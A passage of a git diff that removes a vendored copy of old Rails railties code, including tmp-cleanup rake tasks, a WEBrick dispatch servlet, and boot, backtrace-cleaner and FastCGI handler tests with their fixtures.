-  namespace :cache do
-    desc "Clears all files and directories in tmp/cache"
-    task :clear do
-      FileUtils.rm_rf(Dir['tmp/cache/[^.]*'])
-    end
-  end
-
-  namespace :sockets do
-    desc "Clears all files in tmp/sockets"
-    task :clear do
-      FileUtils.rm(Dir['tmp/sockets/[^.]*'])
-    end
-  end
-
-  namespace :pids do
-    desc "Clears all files in tmp/pids"
-    task :clear do
-      FileUtils.rm(Dir['tmp/pids/[^.]*'])
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/test_help.rb b/vendor/rails/railties/lib/test_help.rb
deleted file mode 100644
index f8608925..00000000
--- a/vendor/rails/railties/lib/test_help.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# Make double-sure the RAILS_ENV is set to test,
-# so fixtures are loaded to the right database
-silence_warnings { RAILS_ENV = "test" }
-
-require 'test/unit'
-require 'action_controller/test_case'
-require 'action_view/test_case'
-require 'action_controller/integration'
-require 'action_mailer/test_case' if defined?(ActionMailer)
-
-if defined?(ActiveRecord)
-  require 'active_record/test_case'
-  require 'active_record/fixtures'
-
-  class ActiveSupport::TestCase
-    include ActiveRecord::TestFixtures
-    self.fixture_path = "#{RAILS_ROOT}/test/fixtures/"
-    self.use_instantiated_fixtures  = false
-    self.use_transactional_fixtures = true
-  end
-
-  ActionController::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
-
-  def create_fixtures(*table_names, &block)
-    Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, table_names, {}, &block)
-  end
-end
-
-begin
-  require_library_or_gem 'ruby-debug'
-  Debugger.start
-  if Debugger.respond_to?(:settings)
-    Debugger.settings[:autoeval] = true
-    Debugger.settings[:autolist] = 1
-  end
-rescue LoadError
-  # ruby-debug wasn't available so neither can the debugging be
-end
diff --git a/vendor/rails/railties/lib/webrick_server.rb b/vendor/rails/railties/lib/webrick_server.rb
deleted file mode 100644
index 0e1234d4..00000000
--- a/vendor/rails/railties/lib/webrick_server.rb
+++ /dev/null
@@ -1,157 +0,0 @@
-# Donated by Florian Gross
-
-require 'webrick'
-require 'cgi'
-require 'stringio'
-require 'dispatcher'
-
-include WEBrick
-
-class CGI #:nodoc:
-  def stdinput
-    @stdin || $stdin
-  end
-  
-  def env_table
-    @env_table || ENV
-  end
-  
-  def initialize(type = "query", table = nil, stdin = nil)
-    @env_table, @stdin = table, stdin
-
-    if defined?(MOD_RUBY) && !ENV.key?("GATEWAY_INTERFACE")
-      Apache.request.setup_cgi_env
-    end
-
-    extend QueryExtension
-    @multipart = false
-    if defined?(CGI_PARAMS)
-      warn "do not use CGI_PARAMS and CGI_COOKIES"
-      @params = CGI_PARAMS.dup
-      @cookies = CGI_COOKIES.dup
-    else
-      initialize_query()  # set @params, @cookies
-    end
-    @output_cookies = nil
-    @output_hidden = nil
-  end
-end
-
-# A custom dispatch servlet for use with WEBrick. It dispatches requests
-# (using the Rails Dispatcher) to the appropriate controller/action. By default,
-# it restricts WEBrick to a managing a single Rails request at a time, but you
-# can change this behavior by setting ActionController::Base.allow_concurrency
-# to true.
-class DispatchServlet < WEBrick::HTTPServlet::AbstractServlet
-  # Start the WEBrick server with the given options, mounting the
-  # DispatchServlet at <tt>/</tt>.
-  def self.dispatch(options = {})
-    Socket.do_not_reverse_lookup = true # patch for OS X
-
-    params = { :Port        => options[:port].to_i,
-               :ServerType  => options[:server_type],
-               :BindAddress => options[:ip] }
-    params[:MimeTypes] = options[:mime_types] if options[:mime_types]
-
-    server = WEBrick::HTTPServer.new(params)
-    server.mount('/', DispatchServlet, options)
-
-    trap("INT") { server.shutdown }
-    trap("TERM") { server.shutdown }
-    server.start
-  end
-
-  def initialize(server, options) #:nodoc:
-    @server_options = options
-    @file_handler = WEBrick::HTTPServlet::FileHandler.new(server, options[:server_root])
-    # Change to the RAILS_ROOT, since Webrick::Daemon.start does a Dir::cwd("/")
-    # OPTIONS['working_directory'] is an absolute path of the RAILS_ROOT, set in railties/lib/commands/servers/webrick.rb
-    Dir.chdir(OPTIONS['working_directory']) if defined?(OPTIONS) && File.directory?(OPTIONS['working_directory'])
-    super
-  end
-
-  def service(req, res) #:nodoc:
-    unless handle_file(req, res)
-      unless handle_dispatch(req, res)
-        raise WEBrick::HTTPStatus::NotFound, "`#{req.path}' not found."
-      end
-    end
-  end
-
-  def handle_file(req, res) #:nodoc:
-    begin
-      req = req.dup
-      path = req.path.dup
-
-      # Add .html if the last path piece has no . in it
-      path << '.html' if path != '/' && (%r{(^|/)[^./]+$} =~ path) 
-      path.gsub!('+', ' ') # Unescape + since FileHandler doesn't do so.
-
-      req.instance_variable_set(:@path_info, path) # Set the modified path...
-
-      @file_handler.send(:service, req, res)      
-      return true
-    rescue HTTPStatus::PartialContent, HTTPStatus::NotModified => err
-      res.set_error(err)
-      return true
-    rescue => err
-      return false
-    end
-  end
-
-  def handle_dispatch(req, res, origin = nil) #:nodoc:
-    data = StringIO.new
-    Dispatcher.dispatch(
-      CGI.new("query", create_env_table(req, origin), StringIO.new(req.body || "")), 
-      ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS, 
-      data
-    )
-
-    header, body = extract_header_and_body(data)
-
-    set_charset(header)
-    assign_status(res, header)
-    res.cookies.concat(header.delete('set-cookie') || [])
-    header.each { |key, val| res[key] = val.join(", ") }
-    
-    res.body = body
-    return true
-  rescue => err
-    p err, err.backtrace
-    return false
-  end
-  
-  private
-    def create_env_table(req, origin)
-      env = req.meta_vars.clone
-      env.delete "SCRIPT_NAME"
-      env["QUERY_STRING"] = req.request_uri.query
-      env["REQUEST_URI"]  = origin if origin
-      return env
-    end
-    
-    def extract_header_and_body(data)
-      data.rewind
-      data = data.read
-
-      raw_header, body = *data.split(/^[\xd\xa]{2}/on, 2)
-      header = WEBrick::HTTPUtils::parse_header(raw_header)
-      
-      return header, body
-    end
-    
-    def set_charset(header)
-      ct = header["content-type"]
-      if ct.any? { |x| x =~ /^text\// } && ! ct.any? { |x| x =~ /charset=/ }
-        ch = @server_options[:charset] || "UTF-8"
-        ct.find { |x| x =~ /^text\// } << ("; charset=" + ch)
-      end
-    end
-
-    def assign_status(res, header)
-      if /^(\d+)/ =~ header['status'][0]
-        res.status = $1.to_i
-        header.delete('status')
-      end
-    end
-end
diff --git a/vendor/rails/railties/test/abstract_unit.rb b/vendor/rails/railties/test/abstract_unit.rb
deleted file mode 100644
index 60f2c91f..00000000
--- a/vendor/rails/railties/test/abstract_unit.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-$:.unshift File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift File.expand_path('../../../activerecord/lib', __FILE__)
-$:.unshift File.expand_path('../../../actionpack/lib', __FILE__)
-$:.unshift File.expand_path('../../../actionmailer/lib', __FILE__)
-$:.unshift File.expand_path('../../lib', __FILE__)
-$:.unshift File.expand_path('../../builtin/rails_info', __FILE__)
-
-require 'stringio'
-require 'rubygems'
-require 'test/unit'
-
-require 'active_support'
-require 'active_support/test_case'
-
-if defined?(RAILS_ROOT)
-  RAILS_ROOT.replace File.dirname(__FILE__)
-else
-  RAILS_ROOT = File.dirname(__FILE__)
-end
-
-def uses_gem(gem_name, test_name, version = '> 0')
-  gem gem_name.to_s, version
-  require gem_name.to_s
-  yield
-rescue LoadError
-  $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
-end
diff --git a/vendor/rails/railties/test/backtrace_cleaner_test.rb b/vendor/rails/railties/test/backtrace_cleaner_test.rb
deleted file mode 100644
index 6319aeea..00000000
--- a/vendor/rails/railties/test/backtrace_cleaner_test.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require 'abstract_unit'
-
-require 'initializer'
-require 'rails/backtrace_cleaner'
-
-if defined? Test::Unit::Util::BacktraceFilter
-  class TestWithBacktrace
-    include Test::Unit::Util::BacktraceFilter
-    include Rails::BacktraceFilterForTestUnit
-  end
-
-  class BacktraceCleanerFilterTest < ActiveSupport::TestCase
-    def setup
-      @test = TestWithBacktrace.new
-      @backtrace = [ './test/rails/benchmark_test.rb', './test/rails/dependencies.rb', '/opt/local/lib/ruby/kernel.rb' ]
-    end
-    
-    test "test with backtrace should use the rails backtrace cleaner to clean" do
-      Rails.stubs(:backtrace_cleaner).returns(stub(:clean))
-      Rails.backtrace_cleaner.expects(:clean).with(@backtrace, nil)
-      @test.send(:filter_backtrace, @backtrace)
-    end
-    
-    test "filter backtrace should have the same arity as Test::Unit::Util::BacktraceFilter" do
-      assert_nothing_raised do
-        @test.send(:filter_backtrace, @backtrace, '/opt/local/lib')
-      end
-    end
-  end
-else
-  $stderr.puts 'No BacktraceFilter for minitest'
-end
-
-class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
-  def setup
-    @cleaner = Rails::BacktraceCleaner.new
-  end
-
-  test "should format installed gems correctly" do
-    @backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
-    @result = @cleaner.clean(@backtrace)
-    assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
-  end
-
-  test "should format installed gems not in Gem.default_dir correctly" do
-    @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
-    # skip this test if default_dir is the only directory on Gem.path
-    if @target_dir
-      @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
-      @result = @cleaner.clean(@backtrace)
-      assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
-    end
-  end
-
-  test "should format vendor gems correctly" do
-    @backtrace = [ "#{Rails::GemDependency.unpacked_path}/nosuchgem-1.2.3/lib/foo.rb" ]
-    @result = @cleaner.clean(@backtrace)
-    assert_equal "nosuchgem (1.2.3) [v] lib/foo.rb", @result[0]
-  end
-
-end
diff --git a/vendor/rails/railties/test/boot_test.rb b/vendor/rails/railties/test/boot_test.rb
deleted file mode 100644
index 3de72c5a..00000000
--- a/vendor/rails/railties/test/boot_test.rb
+++ /dev/null
@@ -1,178 +0,0 @@
-require 'abstract_unit'
-require 'initializer'
-require File.expand_path('../../environments/boot', __FILE__)
-
-class BootTest < Test::Unit::TestCase
-  def test_boot_returns_if_booted
-    Rails.expects(:booted?).returns(true)
-    Rails.expects(:pick_boot).never
-    assert_nil Rails.boot!
-  end
-
-  def test_boot_preinitializes_then_picks_and_runs_if_not_booted
-    Rails.expects(:booted?).returns(false)
-    Rails.expects(:preinitialize)
-    Rails.expects(:pick_boot).returns(mock(:run => 'result'))
-    assert_equal 'result', Rails.boot!
-  end
-
-  def test_preinitialize_does_not_raise_exception_if_preinitializer_file_does_not_exist
-    Rails.stubs(:preinitializer_path).returns('/there/is/no/such/file')
-
-    assert_nothing_raised { Rails.preinitialize }
-  end
-
-  def test_load_preinitializer_loads_preinitializer_file
-    Rails.stubs(:preinitializer_path).returns("#{File.dirname(__FILE__)}/fixtures/environment_with_constant.rb")
-
-    assert_nil $initialize_test_set_from_env
-    Rails.preinitialize
-    assert_equal "success", $initialize_test_set_from_env
-  ensure
-    $initialize_test_set_from_env = nil
-  end
-
-  def test_boot_vendor_rails_by_default
-    Rails.expects(:booted?).returns(false)
-    Rails.expects(:preinitialize)
-    File.expects(:exist?).with("#{RAILS_ROOT}/vendor/rails").returns(true)
-    Rails::VendorBoot.any_instance.expects(:run).returns('result')
-    assert_equal 'result', Rails.boot!
-  end
-
-  def test_boot_gem_rails_otherwise
-    Rails.expects(:booted?).returns(false)
-    Rails.expects(:preinitialize)
-    File.expects(:exist?).with("#{RAILS_ROOT}/vendor/rails").returns(false)
-    Rails::GemBoot.any_instance.expects(:run).returns('result')
-    assert_equal 'result', Rails.boot!
-  end
-
-  def test_run_loads_initializer_and_sets_load_path
-    boot = Rails::Boot.new
-    boot.expects(:load_initializer)
-    Rails::Initializer.expects(:run).with(:set_load_path)
-    boot.run
-  end
-end
-
-class VendorBootTest < Test::Unit::TestCase
-  include Rails
-
-  def test_load_initializer_requires_from_vendor_rails
-    boot = VendorBoot.new
-    boot.expects(:require).with("#{RAILS_ROOT}/vendor/rails/railties/lib/initializer")
-    Rails::Initializer.expects(:run).with(:install_gem_spec_stubs)
-    Rails::GemDependency.expects(:add_frozen_gem_path)
-    boot.load_initializer
-  end
-end
-
-class GemBootTest < Test::Unit::TestCase
-  include Rails
-
-  def test_load_initializer_loads_rubygems_and_the_rails_gem
-    boot = GemBoot.new
-    GemBoot.expects(:load_rubygems)
-    boot.expects(:load_rails_gem)
-    boot.expects(:require).with('initializer')
-    boot.load_initializer
-  end
-
-  def test_load_rubygems_exits_with_error_if_missing
-    GemBoot.expects(:require).with('rubygems').raises(LoadError, 'missing rubygems')
-    STDERR.expects(:puts)
-    GemBoot.expects(:exit).with(1)
-    GemBoot.load_rubygems
-  end
-
-  def test_load_rubygems_exits_with_error_if_too_old
-    GemBoot.stubs(:rubygems_version).returns('0.0.1')
-    GemBoot.expects(:require).with('rubygems').returns(true)
-    STDERR.expects(:puts)
-    GemBoot.expects(:exit).with(1)
-    GemBoot.load_rubygems
-  end
-
-  def test_load_rails_gem_activates_specific_gem_if_version_given
-    GemBoot.stubs(:gem_version).returns('0.0.1')
-
-    boot = GemBoot.new
-    boot.expects(:gem).with('rails', '0.0.1')
-    boot.load_rails_gem
-  end
-
-  def test_load_rails_gem_activates_latest_gem_if_no_version_given
-    GemBoot.stubs(:gem_version).returns(nil)
-
-    boot = GemBoot.new
-    boot.expects(:gem).with('rails')
-    boot.load_rails_gem
-  end
-
-  def test_load_rails_gem_exits_with_error_if_missing
-    GemBoot.stubs(:gem_version).returns('0.0.1')
-
-    boot = GemBoot.new
-    boot.expects(:gem).with('rails', '0.0.1').raises(Gem::LoadError, 'missing rails 0.0.1 gem')
-    STDERR.expects(:puts)
-    boot.expects(:exit).with(1)
-    boot.load_rails_gem
-  end
-end
-
-class ParseGemVersionTest < Test::Unit::TestCase
-  def test_should_return_nil_if_no_lines_are_passed
-    assert_equal nil, parse('')
-    assert_equal nil, parse(nil)
-  end
-
-  def test_should_accept_either_single_or_double_quotes
-    assert_equal "1.2.3", parse("RAILS_GEM_VERSION = '1.2.3'")
-    assert_equal "1.2.3", parse('RAILS_GEM_VERSION = "1.2.3"')
-  end
-
-  def test_should_return_nil_if_no_lines_match
-    assert_equal nil, parse('nothing matches on this line\nor on this line')
-  end
-
-  def test_should_parse_with_no_leading_space
-    assert_equal "1.2.3", parse("RAILS_GEM_VERSION = '1.2.3' unless defined? RAILS_GEM_VERSION")
-    assert_equal "1.2.3", parse("RAILS_GEM_VERSION = '1.2.3'")
-  end
-
-  def test_should_parse_with_any_number_of_leading_spaces
-    assert_equal nil, parse([])
-    assert_equal "1.2.3", parse(" RAILS_GEM_VERSION = '1.2.3' unless defined? RAILS_GEM_VERSION")
-    assert_equal "1.2.3", parse("   RAILS_GEM_VERSION = '1.2.3' unless defined? RAILS_GEM_VERSION")
-    assert_equal "1.2.3", parse(" RAILS_GEM_VERSION = '1.2.3'")
-    assert_equal "1.2.3", parse("   RAILS_GEM_VERSION = '1.2.3'")
-  end
-
-  def test_should_ignore_unrelated_comments
-    assert_equal "1.2.3", parse("# comment\nRAILS_GEM_VERSION = '1.2.3'\n# comment")
-  end
-
-  def test_should_ignore_commented_version_lines
-    assert_equal "1.2.3", parse("#RAILS_GEM_VERSION = '9.8.7'\nRAILS_GEM_VERSION = '1.2.3'")
-    assert_equal "1.2.3", parse("# RAILS_GEM_VERSION = '9.8.7'\nRAILS_GEM_VERSION = '1.2.3'")
-    assert_equal "1.2.3", parse("RAILS_GEM_VERSION = '1.2.3'\n# RAILS_GEM_VERSION = '9.8.7'")
-  end
-
-  def test_should_allow_advanced_rubygems_version_specifications
-    # See http://rubygems.org/read/chapter/16
-    assert_equal "=1.2.3", parse("RAILS_GEM_VERSION = '=1.2.3'") # equal sign
-    assert_equal "= 1.2.3", parse("RAILS_GEM_VERSION = '= 1.2.3'") # with space
-    assert_equal "!=1.2.3", parse("RAILS_GEM_VERSION = '!=1.2.3'") # not equal
-    assert_equal ">1.2.3", parse("RAILS_GEM_VERSION = '>1.2.3'") # greater than
-    assert_equal "<1.2.3", parse("RAILS_GEM_VERSION = '<1.2.3'") # less than
-    assert_equal ">=1.2.3", parse("RAILS_GEM_VERSION = '>=1.2.3'") # greater than or equal
-    assert_equal "<=1.2.3", parse("RAILS_GEM_VERSION = '<=1.2.3'") # less than or equal
-    assert_equal "~>1.2.3.0", parse("RAILS_GEM_VERSION = '~>1.2.3.0'") # approximately greater than
-  end
-
-  private
-    def parse(text)
-      Rails::GemBoot.parse_gem_version(text)
-    end
-end
diff --git a/vendor/rails/railties/test/console_app_test.rb b/vendor/rails/railties/test/console_app_test.rb
deleted file mode 100644
index f11de087..00000000
--- a/vendor/rails/railties/test/console_app_test.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-require 'abstract_unit'
-
-require 'action_controller' # console_app uses 'action_controller/integration'
-
-unless defined? ApplicationController
-  class ApplicationController < ActionController::Base; end
-  ActionController::Base.session_store = nil
-end
-
-require 'dispatcher'
-require 'console_app'
-
-# console_app sets Test::Unit.run to work around the at_exit hook in test/unit, which kills IRB
-if Test::Unit.respond_to?(:run=)
-  Test::Unit.run = false
-
-  class ConsoleAppTest < Test::Unit::TestCase
-    def test_app_method_should_return_integration_session
-      assert_nothing_thrown do
-        console_session = app
-        assert_not_nil console_session
-        assert_instance_of ActionController::Integration::Session,
-          console_session
-      end
-    end
-
-    def test_reload_should_fire_preparation_callbacks
-      a = b = c = nil
-
-      Dispatcher.to_prepare { a = b = c = 1 }
-      Dispatcher.to_prepare { b = c = 2 }
-      Dispatcher.to_prepare { c = 3 }
-      ActionController::Routing::Routes.expects(:reload)
-
-      reload!
-
-      assert_equal 1, a
-      assert_equal 2, b
-      assert_equal 3, c
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/fcgi_dispatcher_test.rb b/vendor/rails/railties/test/fcgi_dispatcher_test.rb
deleted file mode 100644
index ebbf459a..00000000
--- a/vendor/rails/railties/test/fcgi_dispatcher_test.rb
+++ /dev/null
@@ -1,266 +0,0 @@
-require 'abstract_unit'
-
-if RUBY_VERSION < '1.9.0'
-uses_gem "fcgi", "0.8.7" do
-
-require 'action_controller'
-require 'fcgi_handler'
-
-Dispatcher.middleware.clear
-
-class RailsFCGIHandlerTest < Test::Unit::TestCase
-  def setup
-    @log = StringIO.new
-    @handler = RailsFCGIHandler.new(@log)
-  end
-
-  def test_process_restart
-    request = mock
-    FCGI.stubs(:each).yields(request)
-
-    @handler.expects(:process_request).once
-    @handler.expects(:dispatcher_error).never
-
-    @handler.expects(:when_ready).returns(:restart)
-    @handler.expects(:close_connection).with(request)
-    @handler.expects(:reload!).never
-    @handler.expects(:restart!)
-
-    @handler.process!
-  end
-
-  def test_process_exit
-    request = mock
-    FCGI.stubs(:each).yields(request)
-
-    @handler.expects(:process_request).once
-    @handler.expects(:dispatcher_error).never
-
-    @handler.expects(:when_ready).returns(:exit)
-    @handler.expects(:close_connection).with(request)
-    @handler.expects(:reload!).never
-    @handler.expects(:restart!).never
-
-    @handler.process!
-  end
-
-  def test_process_with_system_exit_exception
-    request = mock
-    FCGI.stubs(:each).yields(request)
-
-    @handler.expects(:process_request).once.raises(SystemExit)
-    @handler.stubs(:dispatcher_log)
-    @handler.expects(:dispatcher_log).with(:info, regexp_matches(/^stopping/))
-    @handler.expects(:dispatcher_error).never
-
-    @handler.expects(:when_ready).never
-    @handler.expects(:close_connection).never
-    @handler.expects(:reload!).never
-    @handler.expects(:restart!).never
-
-    @handler.process!
-  end
-
-  def test_restart_handler_outside_request
-    @handler.expects(:dispatcher_log).with(:info, "asked to restart ASAP")
-    @handler.expects(:restart!).once
-
-    @handler.send(:restart_handler, nil)
-    assert_equal nil, @handler.when_ready
-  end
-
-  def test_install_signal_handler_should_log_on_bad_signal
-    @handler.stubs(:trap).raises(ArgumentError)
-
-    @handler.expects(:dispatcher_log).with(:warn, "Ignoring unsupported signal CHEESECAKE.")
-    @handler.send(:install_signal_handler, "CHEESECAKE", nil)
-  end
-
-  def test_reload
-    @handler.expects(:restore!)
-    @handler.expects(:dispatcher_log).with(:info, "reloaded")
-
-    @handler.send(:reload!)
-    assert_nil @handler.when_ready
-  end
-
-
-  def test_reload_runs_gc_when_gc_request_period_set
-    @handler.expects(:run_gc!)
-    @handler.expects(:restore!)
-    @handler.expects(:dispatcher_log).with(:info, "reloaded")
-    @handler.gc_request_period = 10
-    @handler.send(:reload!)
-  end
-
-  def test_reload_doesnt_run_gc_if_gc_request_period_isnt_set
-    @handler.expects(:run_gc!).never
-    @handler.expects(:restore!)
-    @handler.expects(:dispatcher_log).with(:info, "reloaded")
-    @handler.send(:reload!)
-  end
-
-  def test_restart!
-    @handler.expects(:dispatcher_log).with(:info, "restarted")
-    @handler.expects(:exec).returns('restarted')
-    assert_equal 'restarted', @handler.send(:restart!)
-  end
-
-  def test_restore!
-    $".expects(:replace)
-    Dispatcher.expects(:reset_application!)
-    ActionController::Routing::Routes.expects(:reload)
-    @handler.send(:restore!)
-  end
-
-  def test_uninterrupted_processing
-    request = mock
-    FCGI.expects(:each).yields(request)
-    @handler.expects(:process_request).with(request)
-
-    @handler.process!
-
-    assert_nil @handler.when_ready
-  end
-end
-
-
-class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
-  class ::RailsFCGIHandler
-    attr_accessor :signal
-    alias_method :old_gc_countdown, :gc_countdown
-    def gc_countdown
-      signal ? Process.kill(signal, $$) : old_gc_countdown
-    end
-  end
-
-  def setup
-    @log = StringIO.new
-    @handler = RailsFCGIHandler.new(@log)
-    @dispatcher = mock
-    Dispatcher.stubs(:new).returns(@dispatcher)
-  end
-
-  def test_interrupted_via_HUP_when_not_in_request
-    request = mock
-    FCGI.expects(:each).once.yields(request)
-    @handler.expects(:signal).times(2).returns('HUP')
-
-    @handler.expects(:reload!).once
-    @handler.expects(:close_connection).never
-    @handler.expects(:exit).never
-
-    @handler.process!
-    assert_equal :reload, @handler.when_ready
-  end
-
-  def test_interrupted_via_USR1_when_not_in_request
-    request = mock
-    FCGI.expects(:each).once.yields(request)
-    @handler.expects(:signal).times(2).returns('USR1')
-    @handler.expects(:exit_handler).never
-
-    @handler.expects(:reload!).never
-    @handler.expects(:close_connection).with(request).once
-    @handler.expects(:exit).never
-
-    @handler.process!
-    assert_nil @handler.when_ready
-  end
-
-  def test_restart_via_USR2_when_in_request
-    request = mock
-    FCGI.expects(:each).once.yields(request)
-    @handler.expects(:signal).times(2).returns('USR2')
-    @handler.expects(:exit_handler).never
-
-    @handler.expects(:reload!).never
-    @handler.expects(:close_connection).with(request).once
-    @handler.expects(:exit).never
-    @handler.expects(:restart!).once
-
-    @handler.process!
-    assert_equal :restart, @handler.when_ready
-  end
-
-  def test_interrupted_via_TERM
-    request = mock
-    FCGI.expects(:each).once.yields(request)
-    ::Rack::Handler::FastCGI.expects(:serve).once.returns('TERM')
-
-    @handler.expects(:reload!).never
-    @handler.expects(:close_connection).never
-
-    @handler.process!
-    assert_nil @handler.when_ready
-  end
-
-  def test_runtime_exception_in_fcgi
-    error = RuntimeError.new('foo')
-    FCGI.expects(:each).times(2).raises(error)
-    @handler.expects(:dispatcher_error).with(error, regexp_matches(/^retrying/))
-    @handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
-    @handler.process!
-  end
-
-  def test_runtime_error_in_dispatcher
-    request = mock
-    error = RuntimeError.new('foo')
-    FCGI.expects(:each).once.yields(request)
-    ::Rack::Handler::FastCGI.expects(:serve).once.raises(error)
-    @handler.expects(:dispatcher_error).with(error, regexp_matches(/^unhandled/))
-    @handler.process!
-  end
-
-  def test_signal_exception_in_fcgi
-    error = SignalException.new('USR2')
-    FCGI.expects(:each).once.raises(error)
-    @handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
-    @handler.process!
-  end
-
-  def test_signal_exception_in_dispatcher
-    request = mock
-    error = SignalException.new('USR2')
-    FCGI.expects(:each).once.yields(request)
-    ::Rack::Handler::FastCGI.expects(:serve).once.raises(error)
-    @handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
-    @handler.process!
-  end
-end
-
-
-class RailsFCGIHandlerPeriodicGCTest < Test::Unit::TestCase
-  def setup
-    @log = StringIO.new
-  end
-
-  def teardown
-    GC.enable
-  end
-
-  def test_normal_gc
-    @handler = RailsFCGIHandler.new(@log)
-    assert_nil @handler.gc_request_period
-
-    # When GC is enabled, GC.disable disables and returns false.
-    assert_equal false, GC.disable
-  end
-
-  def test_periodic_gc
-    @handler = RailsFCGIHandler.new(@log, 10)
-    assert_equal 10, @handler.gc_request_period
-
-    request = mock
-    FCGI.expects(:each).times(10).yields(request)
-
-    @handler.expects(:run_gc!).never
-    9.times { @handler.process! }
-    @handler.expects(:run_gc!).once
-    @handler.process!
-
-    assert_nil @handler.when_ready
-  end
-end
-end # uses_gem "fcgi"
-end # exclude 1.9
diff --git a/vendor/rails/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml b/vendor/rails/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
deleted file mode 100644
index fe80872a..00000000
--- a/vendor/rails/railties/test/fixtures/about_yml_plugins/bad_about_yml/about.yml
+++ /dev/null
@@ -1 +0,0 @@
-# an empty YAML file - any content in here seems to get parsed as a string
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb b/vendor/rails/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
deleted file mode 100644
index d4262f89..00000000
--- a/vendor/rails/railties/test/fixtures/about_yml_plugins/bad_about_yml/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-# intentionally empty
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb b/vendor/rails/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
deleted file mode 100644
index d4262f89..00000000
--- a/vendor/rails/railties/test/fixtures/about_yml_plugins/plugin_without_about_yml/init.rb
+++ /dev/null
@@ -1 +0,0 @@
-# intentionally empty
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/eager/zoo.rb b/vendor/rails/railties/test/fixtures/eager/zoo.rb
deleted file mode 100644
index 8b10ef98..00000000
--- a/vendor/rails/railties/test/fixtures/eager/zoo.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Zoo
-  include ReptileHouse
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/eager/zoo/reptile_house.rb b/vendor/rails/railties/test/fixtures/eager/zoo/reptile_house.rb
deleted file mode 100644
index 82bbafce..00000000
--- a/vendor/rails/railties/test/fixtures/eager/zoo/reptile_house.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module Zoo::ReptileHouse
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/environment_with_constant.rb b/vendor/rails/railties/test/fixtures/environment_with_constant.rb
deleted file mode 100644
index 23e1f7af..00000000
--- a/vendor/rails/railties/test/fixtures/environment_with_constant.rb
+++ /dev/null
@@ -1 +0,0 @@
-$initialize_test_set_from_env = 'success'
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_class/missing_class_generator.rb b/vendor/rails/railties/test/fixtures/lib/generators/missing_class/missing_class_generator.rb
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_class/templates/.gitignore b/vendor/rails/railties/test/fixtures/lib/generators/missing_class/templates/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_generator/templates/.gitignore b/vendor/rails/railties/test/fixtures/lib/generators/missing_generator/templates/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_templates/.gitignore b/vendor/rails/railties/test/fixtures/lib/generators/missing_templates/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/working/working_generator.rb b/vendor/rails/railties/test/fixtures/lib/generators/working/working_generator.rb
deleted file mode 100644
index 465b3431..00000000
--- a/vendor/rails/railties/test/fixtures/lib/generators/working/working_generator.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class WorkingGenerator < Rails::Generator::NamedBase
-end
diff --git a/vendor/rails/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb b/vendor/rails/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb
deleted file mode 100644
index 2d373ce4..00000000
--- a/vendor/rails/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class MetalA < Rails::Rack::Metal
-  def self.call(env)
-    [200, { "Content-Type" => "text/html"}, ["Hi"]]
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb b/vendor/rails/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb
deleted file mode 100644
index a8bbf3fd..00000000
--- a/vendor/rails/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class MetalB < Rails::Rack::Metal
-  def self.call(env)
-    [200, { "Content-Type" => "text/html"}, ["Hi"]]
-  end
-end
diff --git a/vendor/rails/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb b/vendor/rails/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb
deleted file mode 100644
index 0cd3737c..00000000
--- a/vendor/rails/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class LegacyRoutes < Rails::Rack::Metal
-  def self.call(env)
-    [301, { "Location" => "http://example.com"}, []]
-  end
-end
